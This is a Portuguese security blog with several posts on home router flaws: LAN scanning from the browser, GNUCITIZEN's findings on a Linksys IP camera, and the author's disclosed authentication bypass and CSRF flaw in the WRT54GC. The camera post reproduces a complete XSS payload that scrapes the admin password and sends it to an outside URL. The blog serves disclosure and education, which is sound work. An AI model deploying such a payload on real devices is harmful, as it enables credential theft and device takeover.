Dando continuidade ao assunto Roteadores, o segundo vídeo do Falando de Segurança mostra como usar recursos do navegador (html e javascript) para detectar roteadores em uma rede local. Tais recursos podem ser usados por sites maliciosos para obter informações da rede da vítima. Usando o meu Linksys WRT54GC como exemplo, mostro como ter o retorno do status de uma página web (se ela existe ou não) rodando em um determinado IP e como usar uma imagem do layout da administração web do roteador para identificar seu modelo. Também mostrei um pouco do funcionamento do projeto Javascript Lan Scanner.

Para assistir (on-demand) clique aqui.

Links citados:

JavaScript Lan Scanner: http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php – autor: Gareth Heyes

Página do projeto (informações, download, svn, etc): http://code.google.com/p/jslanscanner/

Comentários, dúvidas e sugestões são muito bem vindos.

Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL

Os posts podem ser lidos aqui: Parte 1, Parte 2, Parte 3, Parte 4. Eu recomendo!

Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.

Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( /adm/file.cgi?next_file=pass_wd.htm ) o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir > Código Fonte).

<input type="password" size="8" maxlength="64" name="admpw" value="SenhaAqui"
onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

O mesmo ocorre na página de mudança da senha Wireless.

Agora, o questionamento principal: Por que não dão a devida importancia a este tipo de falha? O pessoal do GNUCITIZEN respondeu incrivelmente:

No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas do Aircrack Suite) e, principalmente, que para estar lendo aquilo, o “hacker” já deveria estar na rede, ou seja, já saberia a senha wireless. Estão errados!

Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (sniffing) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). Novamente, errados!

O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: Cross-site Scripting (XSS).

Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros  e retornaria o resultado.

Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {
			req = new XMLHttpRequest();
        	}
		catch(e) {
			req = false;
        	}
    	}
    	// branch for IE/Windows ActiveX version
	else if(window.ActiveXObject) {
       		try {
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		}
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		}
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) {
			var bits=req.responseText.split(/\"/);
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i<bits.length;++i) {
                                if(bits[i]=="adm" && bits[i+1]==" value=") {
                               		gems+="login=";
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {
                                       	gems+='&password=';
					gems+=bits[i+2];
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	}
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

Fonte: GNUCITIZEN

Durante alguns testes que realizei no roteador que uso aqui em casa, o WRT54GC, da linha de compactos da linksys, encontrei algumas falhas. A primeira já foi publicada, e é gravissima: O script Administration.cgi (e possivelmente outros .cgi usados) não verifica se o usuário que envia um POST para ele está logado como administrador ou não. Desta forma, criando um formulário, é possivel modificar a senha do administrador sem que você tenha feito login. Um outro fator aumenta, ainda mais, o risco da falha: Ela funciona também na administração remota do router. Ou seja, se o roteador tiver habilitado uma porta para administração remota (Para IPs da web), esta pode ser usada para explorar a falha.

A Linksys (americana) já foi contatada e comunicaram que o PoC (prova de conceito da vulnerabilidade) que os enviei foi enviada para equipe de engenharia.

O Packet Storm Security e a Security Focus já publicaram a falha:
Link para a descrição da falha no Security Focus
Link para o exploit de prova de conceito (PoC) da falha no Packet Storm Security

Ainda estou realizando análises neste roteador e possivelmente novos relatos estão por vir.

Apesar de ainda estar testando formatos, aí está o primeiro vídeo do site. Levando o nome de “Roteadores”, inspirado pela fraca segurança dos roteadores residenciais, o vídeo exibe o conceito (de forma bem objetiva) e uma falha de Cross-site Request Forgery, além de uma grave vulnerabilidade descoberta por mim no roteador WRT54GC, da Linksys, que permite a qualquer um a alterar a senha de administrador da administração web deste modelo.

A parte 2 já está disponível. Para ve-la, clique aqui.

Por ser o primeiríssimo vídeo, sugestões e comentários são muito bem vindos!

Vídeo #1 – Título: Roteadores (Parte 1)
Conteúdo:

• Cross-Site Request Forgery (CSRF) – Conceito
• Montando um formulário automático para mudança de senha via CSRF.
• Falha de verificação de autenticação no Linksys WRT54GC

Para assistir (on-demand), clique aqui.

URLs relacionadas:
[#1] http://blogs.zdnet.com/BTL/?p=15197